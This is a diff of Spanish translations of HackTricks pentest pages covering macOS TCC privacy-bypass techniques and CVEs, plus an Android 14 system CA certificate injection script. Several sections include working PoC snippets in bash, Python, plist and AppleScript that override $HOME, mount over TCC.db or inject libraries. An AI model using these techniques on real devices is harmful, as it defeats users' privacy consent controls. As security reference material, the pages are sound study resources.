* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -28,18 +28,18 @@ ls: Desktop: Operation not permitted
|
|||
username@hostname ~ % cat Desktop/lalala
|
||||
asd
|
||||
```
|
||||
El **atributo extendido `com.apple.macl`** se agrega al nuevo **archivo** para dar acceso a la **aplicación creadora** para leerlo.
|
||||
El **atributo extendido `com.apple.macl`** se añade al nuevo **archivo** para dar acceso a la **aplicación creadora** a leerlo.
|
||||
|
||||
### TCC ClickJacking
|
||||
|
||||
Es posible **colocar una ventana sobre el aviso de TCC** para que el usuario lo **acepte** sin darse cuenta. Puedes encontrar un PoC en [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
|
||||
Es posible **colocar una ventana sobre el prompt de TCC** para que el usuario lo **acepte** sin darse cuenta. Puedes encontrar un PoC en [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
|
||||
|
||||
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
|
||||
|
||||
### Solicitud de TCC por nombre arbitrario
|
||||
|
||||
El atacante puede **crear aplicaciones con cualquier nombre** (por ejemplo, Finder, Google Chrome...) en el **`Info.plist`** y hacer que solicite acceso a alguna ubicación protegida por TCC. El usuario pensará que la aplicación legítima es la que solicita este acceso.\
|
||||
Además, es posible **quitar la aplicación legítima del Dock y poner la falsa en su lugar**, por lo que cuando el usuario haga clic en la falsa (que puede usar el mismo icono) podría llamar a la legítima, solicitar permisos de TCC y ejecutar un malware, haciendo que el usuario crea que la aplicación legítima solicitó el acceso.
|
||||
Además, es posible **quitar la aplicación legítima del Dock y poner la falsa en su lugar**, de modo que cuando el usuario haga clic en la falsa (que puede usar el mismo icono) podría llamar a la legítima, solicitar permisos de TCC y ejecutar un malware, haciendo creer al usuario que la aplicación legítima solicitó el acceso.
|
||||
|
||||
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -51,7 +51,7 @@ Más información y PoC en:
|
|||
|
||||
### Bypass de SSH
|
||||
|
||||
Por defecto, un acceso a través de **SSH solía tener "Acceso completo al disco"**. Para deshabilitar esto, es necesario tenerlo listado pero deshabilitado (eliminarlo de la lista no eliminará esos privilegios):
|
||||
Por defecto, un acceso a través de **SSH solía tener "Acceso completo al disco"**. Para deshabilitar esto, es necesario tenerlo listado pero desactivado (eliminarlo de la lista no eliminará esos privilegios):
|
||||
|
||||
![](<../../../../../.gitbook/assets/image (569).png>)
|
||||
|
||||
|
@ -67,19 +67,19 @@ Ten en cuenta que ahora, para poder habilitar SSH necesitas **Acceso completo al
|
|||
|
||||
El atributo **`com.apple.macl`** se otorga a los archivos para dar a una **aplicación específica permisos para leerlo**. Este atributo se establece cuando se **arrastra y suelta** un archivo sobre una aplicación, o cuando un usuario **hace doble clic** en un archivo para abrirlo con la **aplicación predeterminada**.
|
||||
|
||||
Por lo tanto, un usuario podría **registrar una aplicación maliciosa** para manejar todas las extensiones y llamar a los Servicios de Inicio para **abrir** cualquier archivo (por lo que el archivo malicioso obtendrá acceso para leerlo).
|
||||
Por lo tanto, un usuario podría **registrar una aplicación maliciosa** para manejar todas las extensiones y llamar a Launch Services para **abrir** cualquier archivo (por lo que el archivo malicioso obtendrá acceso para leerlo).
|
||||
|
||||
### iCloud
|
||||
|
||||
Con el permiso **`com.apple.private.icloud-account-access`** es posible comunicarse con el servicio XPC **`com.apple.iCloudHelper`** que **proporcionará tokens de iCloud**.
|
||||
|
||||
**iMovie** y **Garageband** tenían este permiso y otros que permitían.
|
||||
**iMovie** y **Garageband** tenían este permiso y otros que lo permitían.
|
||||
|
||||
Para obtener más **información** sobre la explotación para **obtener tokens de iCloud** de ese permiso, consulta la charla: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### kTCCServiceAppleEvents / Automatización
|
||||
|
||||
Una aplicación con el permiso **`kTCCServiceAppleEvents`** podrá **controlar otras aplicaciones**. Esto significa que podría **abusar de los permisos otorgados a las otras aplicaciones**.
|
||||
Una aplicación con el permiso **`kTCCServiceAppleEvents`** podrá **controlar otras aplicaciones**. Esto significa que podría **abusar de los permisos concedidos a las otras aplicaciones**.
|
||||
|
||||
Para obtener más información sobre Apple Scripts, consulta:
|
||||
|
||||
|
@ -127,10 +127,10 @@ do shell script "rm " & POSIX path of (copyFile as alias)
|
|||
|
||||
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
|
||||
|
||||
El **daemon tccd** de espacio de usuario está utilizando la variable de entorno **`HOME`** para acceder a la base de datos de usuarios de TCC desde: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
El demonio **tccd** de espacio de usuario está utilizando la variable de entorno **`HOME`** para acceder a la base de datos de usuarios de TCC desde: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
|
||||
Según [esta publicación en Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) y debido a que el daemon TCC se está ejecutando a través de `launchd` dentro del dominio del usuario actual, es posible **controlar todas las variables de entorno** que se le pasan.\
|
||||
Por lo tanto, un **atacante podría establecer la variable de entorno `$HOME`** en **`launchctl`** para que apunte a un **directorio controlado**, **reiniciar** el **daemon TCC**, y luego **modificar directamente la base de datos de TCC** para otorgarse a sí mismo **todos los permisos de TCC disponibles** sin nunca solicitar permiso al usuario final.\
|
||||
Según [esta publicación en Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) y debido a que el demonio TCC se está ejecutando a través de `launchd` dentro del dominio del usuario actual, es posible **controlar todas las variables de entorno** que se le pasan.\
|
||||
Por lo tanto, un **atacante podría establecer la variable de entorno `$HOME`** en **`launchctl`** para que apunte a un **directorio controlado**, **reiniciar** el **demonio TCC**, y luego **modificar directamente la base de datos de TCC** para otorgarse a sí mismo **todos los permisos de TCC disponibles** sin nunca solicitar permiso al usuario final.\
|
||||
PoC:
|
||||
```bash
|
||||
# reset database just in case (no cheating!)
|
||||
|
@ -168,11 +168,11 @@ Las notas tenían acceso a ubicaciones protegidas por TCC, pero cuando se crea u
|
|||
|
||||
El binario `/usr/libexec/lsd` con la biblioteca `libsecurity_translocate` tenía el permiso `com.apple.private.nullfs_allow`, lo que le permitía crear un montaje **nullfs** y tenía el permiso `com.apple.private.tcc.allow` con **`kTCCServiceSystemPolicyAllFiles`** para acceder a todos los archivos.
|
||||
|
||||
Era posible agregar el atributo de cuarentena a "Library", llamar al servicio XPC **`com.apple.security.translocation`** y luego mapear Library a **`$TMPDIR/AppTranslocation/d/d/Library`** donde todos los documentos dentro de Library podían ser **accedidos**.
|
||||
Era posible agregar el atributo de cuarentena a "Library", llamar al servicio XPC **`com.apple.security.translocation`** y luego mapearía Library a **`$TMPDIR/AppTranslocation/d/d/Library`** donde todos los documentos dentro de Library podían ser **accedidos**.
|
||||
|
||||
### CVE-2023-38571 - Música y TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
|
||||
|
||||
**`Música`** tiene una característica interesante: cuando se está ejecutando, **importará** los archivos que se arrastren a **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** a la "biblioteca multimedia" del usuario. Además, llama algo como: **`rename(a, b);`** donde `a` y `b` son:
|
||||
**`Música`** tiene una característica interesante: cuando está en ejecución, **importará** los archivos que se arrastren a **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** a la "biblioteca multimedia" del usuario. Además, llama algo como: **`rename(a, b);`** donde `a` y `b` son:
|
||||
|
||||
* `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
|
||||
* `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
|
||||
|
@ -213,14 +213,14 @@ Entonces, básicamente, si un proceso privilegiado está renombrando desde una c
|
|||
Si el renombrado accede a una carpeta que controlas, mientras has modificado el archivo fuente o tienes un FD a él, cambias el archivo (o carpeta) de destino para que apunte a un enlace simbólico, así puedes escribir cuando quieras.
|
||||
{% endhint %}
|
||||
|
||||
Este fue el ataque en el CVE: Por ejemplo, para sobrescribir la `TCC.db` del usuario, podemos:
|
||||
Esta fue la técnica en el CVE: Por ejemplo, para sobrescribir la `TCC.db` del usuario, podemos:
|
||||
|
||||
* crear `/Users/hacker/nuestroenlace` para que apunte a `/Users/hacker/Library/Application Support/com.apple.TCC/`
|
||||
* crear el directorio `/Users/hacker/tmp/`
|
||||
* establecer `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`
|
||||
* activar el error ejecutando `Music` con esta variable de entorno
|
||||
* capturar la `open()` de `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X es aleatorio)
|
||||
* aquí también `abrimos()` este archivo para escribir, y mantenemos el descriptor de archivo
|
||||
* aquí también `abrir()` este archivo para escribir, y mantener el descriptor de archivo
|
||||
* cambiar `/Users/hacker/tmp` por `/Users/hacker/nuestroenlace` **atómicamente en un bucle**
|
||||
* hacemos esto para maximizar nuestras posibilidades de éxito ya que la ventana de carrera es bastante estrecha, pero perder la carrera tiene un impacto insignificante
|
||||
* esperar un poco
|
||||
|
@ -230,20 +230,20 @@ Este fue el ataque en el CVE: Por ejemplo, para sobrescribir la `TCC.db` del usu
|
|||
Más información en [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ahora, si intentas usar la variable de entorno `MTL_DUMP_PIPELINES_TO_JSON_FILE` las aplicaciones no se iniciarán
|
||||
Ahora, si intentas usar la variable de entorno `MTL_DUMP_PIPELINES_TO_JSON_FILE`, las aplicaciones no se iniciarán
|
||||
{% endhint %}
|
||||
|
||||
### Apple Remote Desktop
|
||||
|
||||
Como root podrías habilitar este servicio y el **agente ARD tendrá acceso completo al disco** que luego podría ser abusado por un usuario para hacer que copie una nueva **base de datos de usuario TCC**.
|
||||
Como root podrías habilitar este servicio y el **agente de ARD tendrá acceso completo al disco** que luego podría ser abusado por un usuario para hacer que copie una nueva **base de datos de usuario de TCC**.
|
||||
|
||||
## Por **NFSHomeDirectory**
|
||||
|
||||
TCC utiliza una base de datos en la carpeta HOME del usuario para controlar el acceso a recursos específicos del usuario en **$HOME/Library/Application Support/com.apple.TCC/TCC.db**.\
|
||||
Por lo tanto, si el usuario logra reiniciar TCC con una variable de entorno $HOME que apunte a una **carpeta diferente**, el usuario podría crear una nueva base de datos TCC en **/Library/Application Support/com.apple.TCC/TCC.db** y engañar a TCC para otorgar cualquier permiso TCC a cualquier aplicación.
|
||||
Por lo tanto, si el usuario logra reiniciar TCC con una variable de entorno $HOME que apunte a una **carpeta diferente**, el usuario podría crear una nueva base de datos de TCC en **/Library/Application Support/com.apple.TCC/TCC.db** y engañar a TCC para otorgar cualquier permiso de TCC a cualquier aplicación.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ten en cuenta que Apple utiliza la configuración almacenada dentro del perfil del usuario en el atributo **`NFSHomeDirectory`** como el **valor de `$HOME`**, por lo que si comprometes una aplicación con permisos para modificar este valor (**`kTCCServiceSystemPolicySysAdminFiles`**), puedes **armar** esta opción con un bypass de TCC.
|
||||
Ten en cuenta que Apple utiliza la configuración almacenada dentro del perfil del usuario en el atributo **`NFSHomeDirectory`** para el **valor de `$HOME`**, por lo que si comprometes una aplicación con permisos para modificar este valor (**`kTCCServiceSystemPolicySysAdminFiles`**), puedes **armar** esta opción con un bypass de TCC.
|
||||
{% endhint %}
|
||||
|
||||
### [CVE-2020–9934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
|
||||
|
@ -255,7 +255,7 @@ Ten en cuenta que Apple utiliza la configuración almacenada dentro del perfil d
|
|||
El **primer POC** utiliza [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) y [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) para modificar la carpeta **HOME** del usuario.
|
||||
|
||||
1. Obtener un blob _csreq_ para la aplicación objetivo.
|
||||
2. Plantar un archivo _TCC.db_ falso con el acceso requerido y el blob _csreq_.
|
||||
2. Colocar un archivo _TCC.db_ falso con el acceso requerido y el blob _csreq_.
|
||||
3. Exportar la entrada de Servicios de Directorio del usuario con [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
|
||||
4. Modificar la entrada de Servicios de Directorio para cambiar el directorio HOME del usuario.
|
||||
5. Importar la entrada de Servicios de Directorio modificada con [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/).
|
||||
|
@ -268,7 +268,7 @@ Para obtener más información, consulta el [**informe original**](https://www.m
|
|||
|
||||
## Por inyección de proceso
|
||||
|
||||
Existen diferentes técnicas para inyectar código dentro de un proceso y abusar de sus privilegios TCC:
|
||||
Existen diferentes técnicas para inyectar código dentro de un proceso y abusar de sus privilegios de TCC:
|
||||
|
||||
{% content-ref url="../../../macos-proces-abuse/" %}
|
||||
[macos-proces-abuse](../../../macos-proces-abuse/)
|
||||
|
@ -279,9 +279,9 @@ Los plugins son código adicional generalmente en forma de bibliotecas o plist,
|
|||
|
||||
### CVE-2020-27937 - Directory Utility
|
||||
|
||||
La aplicación `/System/Library/CoreServices/Applications/Directory Utility.app` tenía el entitlement **`kTCCServiceSystemPolicySysAdminFiles`**, cargaba plugins con extensión **`.daplug`** y **no tenía el entorno de ejecución endurecido**.
|
||||
La aplicación `/System/Library/CoreServices/Applications/Directory Utility.app` tenía el entitlement **`kTCCServiceSystemPolicySysAdminFiles`**, cargaba plugins con extensión **`.daplug`** y **no tenía el entorno de ejecución reforzado**.
|
||||
|
||||
Para aprovechar este CVE, se **cambia** el **`NFSHomeDirectory`** (abusando del entitlement anterior) para poder **apoderarse de la base de datos TCC de los usuarios** y evadir TCC.
|
||||
Para aprovechar este CVE, se **cambiaba** el **`NFSHomeDirectory`** (abusando del entitlement anterior) para poder **apoderarse de la base de datos de TCC de los usuarios** y evadir TCC.
|
||||
|
||||
Para obtener más información, consulta el [**informe original**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
|
||||
### CVE-2020-29621 - Coreaudiod
|
||||
|
@ -353,17 +353,17 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Para obtener más información sobre cómo explotar esto fácilmente, [**consulte el informe original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
|
||||
Para obtener más información sobre cómo explotar fácilmente esto, [**consulte el informe original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
|
||||
|
||||
### CVE-2020-10006
|
||||
|
||||
El binario `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` tenía los permisos **`com.apple.private.tcc.allow`** y **`com.apple.security.get-task-allow`**, lo que permitía inyectar código dentro del proceso y usar los privilegios de TCC.
|
||||
El binario `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` tenía los permisos **`com.apple.private.tcc.allow`** y **`com.apple.security.get-task-allow`**, lo que permitía inyectar código dentro del proceso y utilizar los privilegios de TCC.
|
||||
|
||||
### CVE-2023-26818 - Telegram
|
||||
|
||||
Telegram tenía los permisos **`com.apple.security.cs.allow-dyld-environment-variables`** y **`com.apple.security.cs.disable-library-validation`**, por lo que era posible abusar de ellos para **obtener acceso a sus permisos**, como grabar con la cámara. Puede [**encontrar el payload en el informe**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||
|
||||
Tenga en cuenta cómo usar la variable de entorno para cargar una biblioteca, se creó un **plist personalizado** para inyectar esta biblioteca y se utilizó **`launchctl`** para lanzarla:
|
||||
Observe cómo se utiliza la variable de entorno para cargar una biblioteca, se creó un **plist personalizado** para inyectar esta biblioteca y se utilizó **`launchctl`** para lanzarla:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -399,9 +399,9 @@ Es posible invocar **`open`** incluso estando en modo sandbox
|
|||
|
||||
### Scripts de Terminal
|
||||
|
||||
Es bastante común otorgar **Acceso completo al disco (FDA)** al terminal, al menos en computadoras utilizadas por personas técnicas. Y es posible invocar scripts de **`.terminal`** utilizando esto.
|
||||
Es bastante común otorgar **Acceso completo al disco (FDA)** al terminal, al menos en computadoras utilizadas por personas técnicas. Y es posible invocar scripts **`.terminal`** utilizando esto.
|
||||
|
||||
Los scripts de **`.terminal`** son archivos plist como este con el comando a ejecutar en la clave **`CommandString`**:
|
||||
Los scripts **`.terminal`** son archivos plist como este con el comando a ejecutar en la clave **`CommandString`**:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
|
@ -432,7 +432,7 @@ exploit_location]; task.standardOutput = pipe;
|
|||
```
|
||||
## Mediante montaje
|
||||
|
||||
### CVE-2020-9771 - Bypass de TCC y escalada de privilegios de mount\_apfs
|
||||
### CVE-2020-9771 - Bypass de TCC de mount\_apfs y escalada de privilegios
|
||||
|
||||
**Cualquier usuario** (incluso los no privilegiados) pueden crear y montar una instantánea de Time Machine y **acceder a TODOS los archivos** de esa instantánea.\
|
||||
El **único privilegio** necesario es que la aplicación utilizada (como `Terminal`) tenga acceso de **Acceso completo al disco** (FDA) (`kTCCServiceSystemPolicyAllfiles`), el cual debe ser otorgado por un administrador.
|
||||
|
@ -463,7 +463,7 @@ Una explicación más detallada se puede [**encontrar en el informe original**](
|
|||
|
||||
### CVE-2021-1784 & CVE-2021-30808 - Montar sobre el archivo TCC
|
||||
|
||||
Aunque el archivo de base de datos de TCC esté protegido, era posible **montar sobre el directorio** un nuevo archivo TCC.db:
|
||||
Incluso si el archivo de base de datos de TCC está protegido, era posible **montar sobre el directorio** un nuevo archivo TCC.db:
|
||||
```bash
|
||||
# CVE-2021-1784
|
||||
## Mount over Library/Application\ Support/com.apple.TCC
|
||||
|
@ -484,7 +484,7 @@ os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
|
|||
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
|
||||
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
||||
```
|
||||
Consulta el **exploit completo** en el [**informe original**](https://theevilbit.github.io/posts/cve-2021-30808/).
|
||||
Verifica el **exploit completo** en el [**informe original**](https://theevilbit.github.io/posts/cve-2021-30808/).
|
||||
|
||||
### asr
|
||||
|
||||
|
@ -509,17 +509,17 @@ En varias ocasiones, los archivos almacenarán información sensible como correo
|
|||
|
||||
## Clicks sintéticos
|
||||
|
||||
Esto ya no funciona, pero [**funcionó en el pasado**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
|
||||
Esto ya no funciona, pero [**funcionaba en el pasado**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Otra forma utilizando [**eventos CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf):
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## Referencia
|
||||
|
||||
* [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)
|
||||
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
|
||||
* [**20+ Formas de Evadir los Mecanismos de Privacidad de tu macOS**](https://www.youtube.com/watch?v=W9GxnP8c8FU)
|
||||
* [**Ganando por Knockout Contra TCC - 20+ Nuevas Formas de Evadir los Mecanismos de Privacidad de tu MacOS**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
|
||||
* [**Victoria aplastante contra TCC - 20+ Nuevas Formas de Evadir los Mecanismos de Privacidad de tu MacOS**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
|
||||
|
|
|
@ -52,31 +52,31 @@ Si **rooteaste tu dispositivo con Magisc** (quizás un emulador), y no puedes se
|
|||
|
||||
Explicado en [**este video**](https://www.youtube.com/watch?v=qQicUW0svB8) necesitas:
|
||||
|
||||
1. **Instalar un certificado de CA**: Simplemente **arrastra y suelta** el certificado DER de Burp **cambiando la extensión** a `.crt` en el móvil para que se guarde en la carpeta de Descargas y ve a `Instalar un certificado` -> `Certificado de CA`
|
||||
1. **Instalar un certificado de CA**: Simplemente **arrastra y suelta** el certificado DER de Burp **cambiando la extensión** a `.crt` en el móvil para que se almacene en la carpeta de Descargas y ve a `Instalar un certificado` -> `Certificado de CA`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* Verifica que el certificado se haya guardado correctamente yendo a `Credenciales de confianza` -> `USUARIO`
|
||||
* Verifica que el certificado se haya almacenado correctamente yendo a `Credenciales de confianza` -> `USUARIO`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **Hacerlo de confianza del sistema**: Descarga el módulo de Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un archivo .zip), **arrástralo y suéltalo** en el teléfono, ve a la aplicación de Magisc en el teléfono a la sección **`Módulos`**, haz clic en **`Instalar desde almacenamiento`**, selecciona el módulo `.zip` y una vez instalado **reinicia** el teléfono:
|
||||
2. **Hacerlo confiable para el sistema**: Descarga el módulo de Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un archivo .zip), **arrástralo y suéltalo** en el teléfono, ve a la aplicación de **Magisc** en el teléfono a la sección de **`Módulos`**, haz clic en **`Instalar desde almacenamiento`**, selecciona el módulo `.zip` y una vez instalado **reinicia** el teléfono:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* Después de reiniciar, ve a `Credenciales de confianza` -> `SISTEMA` y verifica que el certificado de Postswigger esté allí
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
## Post Android 14
|
||||
|
||||
En la última versión de Android 14, se ha observado un cambio significativo en el manejo de los certificados de Autoridad de Certificación (CA) de confianza del sistema. Anteriormente, estos certificados se encontraban en **`/system/etc/security/cacerts/`**, accesibles y modificables por usuarios con privilegios de root, lo que permitía su aplicación inmediata en todo el sistema. Sin embargo, con Android 14, la ubicación de almacenamiento se ha trasladado a **`/apex/com.android.conscrypt/cacerts`**, un directorio dentro de la ruta **`/apex`**, que es inmutable por naturaleza.
|
||||
En la última versión de Android 14, se ha observado un cambio significativo en el manejo de los certificados de Autoridad de Certificación (CA) confiables para el sistema. Anteriormente, estos certificados se encontraban en **`/system/etc/security/cacerts/`**, accesibles y modificables por usuarios con privilegios de root, lo que permitía su aplicación inmediata en todo el sistema. Sin embargo, con Android 14, la ubicación de almacenamiento se ha trasladado a **`/apex/com.android.conscrypt/cacerts`**, un directorio dentro de la ruta **`/apex`**, que es inmutable por naturaleza.
|
||||
|
||||
Los intentos de volver a montar la ruta de **cacerts de APEX** como escribible fracasan, ya que el sistema no permite tales operaciones. Incluso los intentos de desmontar o superponer el directorio con un sistema de archivos temporal (tmpfs) no evitan la inmutabilidad; las aplicaciones siguen accediendo a los datos de certificados originales independientemente de los cambios a nivel de sistema de archivos. Esta resistencia se debe a que el montaje de **`/apex`** está configurado con propagación PRIVADA, asegurando que cualquier modificación dentro del directorio de **`/apex`** no afecte a otros procesos.
|
||||
Los intentos de volver a montar la ruta de **cacerts de APEX** como escribible fracasan, ya que el sistema no permite tales operaciones. Incluso los intentos de desmontar o superponer el directorio con un sistema de archivos temporal (tmpfs) no evitan la inmutabilidad; las aplicaciones continúan accediendo a los datos de certificados originales independientemente de los cambios a nivel de sistema de archivos. Esta resistencia se debe a que el montaje de **`/apex`** está configurado con propagación PRIVADA, asegurando que cualquier modificación dentro del directorio de **`/apex`** no afecte a otros procesos.
|
||||
|
||||
La inicialización de Android implica el proceso `init`, que, al iniciar el sistema operativo, también inicia el proceso Zygote. Este proceso es responsable de lanzar procesos de aplicación con un nuevo espacio de nombres de montaje que incluye un montaje privado de **`/apex`**, aislando así los cambios en este directorio de otros procesos.
|
||||
La inicialización de Android implica el proceso `init`, que, al iniciar el sistema operativo, también inicia el proceso Zygote. Este proceso es responsable de lanzar procesos de aplicaciones con un nuevo espacio de montaje que incluye un montaje privado de **`/apex`**, aislando así los cambios en este directorio de otros procesos.
|
||||
|
||||
Sin embargo, existe un método alternativo para aquellos que necesitan modificar los certificados de CA de confianza del sistema dentro del directorio de **`/apex`**. Esto implica volver a montar manualmente **`/apex`** para eliminar la propagación PRIVADA, haciéndolo así escribible. El proceso incluye copiar el contenido de **`/apex/com.android.conscrypt`** a otra ubicación, desmontar el directorio **`/apex/com.android.conscrypt`** para eliminar la restricción de solo lectura, y luego restaurar el contenido a su ubicación original dentro de **`/apex`**. Este enfoque requiere una acción rápida para evitar bloqueos del sistema. Para garantizar la aplicación de estos cambios en todo el sistema, se recomienda reiniciar el `system_server`, lo que reinicia efectivamente todas las aplicaciones y lleva el sistema a un estado consistente.
|
||||
Sin embargo, existe un método alternativo para aquellos que necesitan modificar los certificados de CA confiables para el sistema dentro del directorio de **`/apex`**. Esto implica volver a montar manualmente **`/apex`** para eliminar la propagación PRIVADA, haciéndolo así escribible. El proceso incluye copiar el contenido de **`/apex/com.android.conscrypt`** a otra ubicación, desmontar el directorio **`/apex/com.android.conscrypt`** para eliminar la restricción de solo lectura, y luego restaurar el contenido a su ubicación original dentro de **`/apex`**. Este enfoque requiere una acción rápida para evitar bloqueos del sistema. Para garantizar la aplicación de estos cambios en todo el sistema, se recomienda reiniciar el `system_server`, lo que reinicia efectivamente todas las aplicaciones y lleva el sistema a un estado consistente.
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
|
@ -134,18 +134,18 @@ wait # Launched in parallel - wait for completion here
|
|||
|
||||
echo "System certificate injected"
|
||||
```
|
||||
### Montaje de enlace a través de NSEnter
|
||||
### Montaje vinculante a través de NSEnter
|
||||
|
||||
1. **Configuración de un directorio escribible**: Inicialmente, se establece un directorio escribible montando un `tmpfs` sobre el directorio existente de certificados del sistema no APEX. Esto se logra con el siguiente comando:
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
